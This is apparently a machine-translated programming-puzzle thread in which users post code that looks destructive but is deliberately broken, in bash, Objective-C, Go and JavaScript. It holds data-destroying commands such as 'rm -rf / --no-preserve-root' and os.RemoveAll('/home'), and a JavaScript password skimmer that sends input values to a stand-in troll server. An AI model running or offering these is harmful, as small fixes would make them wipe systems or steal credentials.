Timerusa um thread de segundo plano para chamar seus TimerTasks que você enviou a ele. new Timer(true)cria um Timercom o encadeamento em segundo plano definido como um encadeamento daemon, para que o programa saia imediatamente antes que as tarefas possam ser executadas. O código excessivamente longo distrai o troll de ver o trueparâmetro.

Cão
fonte
7
rm -rf ⁄

O caractere não é o caractere de barra normal (/, isto é, o SOLIDUS em unicode), mas sim o FRACTION SLASH. Irá imprimir uma mensagem como "rm: ⁄: não existe esse arquivo ou diretório"

Geoff Reedy
fonte
10
Oh realmente deixe-me tentar ....
Michael J. Calkins
11
@ MichaelCalkins: você pode tentar como um usuário não privilegiado e ver a mensagem "não encontrado" ... espero.
Olivier Dulac
7

bater

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Talvez seja tão ruim quanto parece. Ele define uma função que a rm -rf /chama e a invoca. Não só isso, que faz uso do maleval em mais de uma ocasião.

Isso causaria muitos danos, certamente!

Caso esteja se perguntando, o primeiro evaldesativa a função da seguinte maneira: unset -f cleanup A segunda evaldefine como: cleanup() { echo Troll detected; } Então, ao executar o código, você verá Troll detected

devnull
fonte
9
Boa! Mas eu diria que as linhas "base64", que aparentemente não têm utilidade para a exclusão real, tornam isso um pouco óbvio demais.
Erel Segal-Halevi
11
Pode ser melhor se você for levado a acreditar que eles evalestão fazendo algo mais mal do que qualquer código óbvio. O código atual me leva a perguntar: por que se preocupar em esconder o código "maligno" se o óbvio está excluindo tudo?
22414 Tim Tim
2
Eu não acho que este atenda aos requisitos, pois é potencialmente muito malicioso: se base64(não um comando padrão) não existir no sistema em que é executado, os evals não farão nada e os rm -rf /funcionamentos! Isso também pode acontecer se base64estiver presente, mas falhar por algum motivo (por exemplo ulimit).
R ..
11
@R .: Além disso, rm -rf /não funcionará na maioria rmdas implementações. Este é um recurso de segurança - você não pode remover o diretório raiz na maioria das implementações do rm.
21978 Konrad Borowski
11
Tanto quanto sei, funciona na versão do busybox. :-)
R ..
6

BATER

Claro que precisamos de privilégios de root para a máquina, portanto usamos o bom e velho "Eu tenho root?" - verificador, também conhecido como ch (eck) root -, mas é melhor fazer isso em um diretório em que não haverá muitos alarmes. / tmp seria perfeito, porque todos podem gravar arquivos lá.

Depois disso, apenas excluímos toda a risada maligna do disco rígido

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"
german_guy
fonte
10
como um alemão que eu posso dizer: não faça o riso mal como um cara alemão ...
Philipp Sander
Wer , se não um alemão, pode rir ze eefil certo, zen?
Alexander Kosubek
5
Eu tenho que admitir que me levou várias leituras do código e, em seguida, relendo seus comentários para descobrir por que alguém pode pensar que isso é malicioso. Eu não acho que isso vai funcionar se você não tivesse tentado convencer alguém em seus comentários que chroot faz algo diferente do que ele faz ea questão faz dizer o troll não ler os comentários ...
Chris
11
Aliás, chrootnão é "check root", é "change root" - muda a ideia do usuário sobre o que /é. Curiosamente, esse troll falha em fazer qualquer coisa para usuários root e não root; os usuários root obtêm uma nova raiz (e, portanto, nenhum comando / bin / bash, já que nada existe na raiz recém-criada de / tmp / chroot_dir), e os usuários não raiz não conseguem fazer o chroot.
mah
Isto é como a chave para isso - eu sei que não é "root mudança" mas meu capturador (palavra correta?) Não sabe - então ele falhar mal
german_guy
6

iPhone - Clap Flappy Bird

Enquanto o usuário está reproduzindo um clone do iPhone Flappy Bird, todos os arquivos no diretório Documentos são excluídos.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Cada aplicativo no iOS está em área restrita, portanto, enquanto isso exclui tudo no diretório Documentos, é apenas o diretório Documentos desse aplicativo em particular. Obviamente, o troll não está ciente disso, pois ele já foi inundado com tantos programas para outras plataformas. E assim que ele percebe que ele também pode lançar um clone do Flappy Bird, ele fica tão empolgado que nem se importa em pensar no resto do código, pois está preocupado demais sonhando em ganhar US $ 50.000 por dia em publicidade sem fazendo qualquer trabalho.

Richard Venable
fonte
5

Ir:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Este é um pouco complicado. Em Go, o programa inteiro sai quando a Goroutine principal sai. Uma boa maneira de corrigir isso é com um grupo de espera. Existem dois grandes problemas com a minha "correção":

  1. O grupo de espera não é adicionado até a Goroutine iniciar, o que significa que a Goroutine principal será atingida Waitantes da exclusão da Goroutine Add. Como o contador será 0, ele não terá nada para esperar e, portanto, não bloqueará e acabará saindo, encerrando o programa.
  2. Mesmo que, de alguma forma, magicamente, a adição da regra deleteAll seja feita primeiro. Ele recebeu uma cópia do grupo de espera, não um ponteiro para ele. Não será adicionado ao mesmo grupo de espera, portanto a Goroutine principal nunca o verá.

O fmt.Scanln () que espera entrada é apenas para garantir que a Goroutine principal saia antes que algo aconteça. O Println provavelmente fará com que ele bloqueie IO e mude para a execução da Goroutine principal (saindo assim), e o Scanln quase certamente o fará. Na realidade, nenhum deles é necessário em nenhuma versão do Go.

Na super teoria, esse PODE funcionar e excluir algo, o que significa que, de acordo com o modelo de memória Go, não há relação garantida "acontece antes" em relação ao final maine à execução de RemoveAll, mas não funcionará em nenhum compilador / runtime Go moderno, como evidenciado por todos os novatos que cometem o erro de não colocar a sincronização em suas principais funções.

LinearZoetrope
fonte
4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1

Não vai funcionar, você não pode criar um fechamento, todos chamam sem passar por parênteses

2)

Se o troll conseguir consertar isso, há um erro de digitação bonito para depurar ... ;-)

Juan Garcia
fonte
11
que lingua? e talvez dica para o erro de digitação um pouco mais
masterX244
@ masterX244 é Javascript, eu vou editá-lo. Erro de digitação: ReferenceError
Juan Garcia
3
Esse erro tipográfico é tantas vezes que ele deve ser AutoCorrected por editores ...
mik01aj
Sim, eu faço muito esse erro de digitação. Especialmente se o comprimento da palavra for bastante longo: P
Mohammed Joraid 17/03/14
11
@ m01 +1 Acho que deve ser uma palavra reservada que gera uma exceção ou erro de tempo de compilação!
Juan Garcia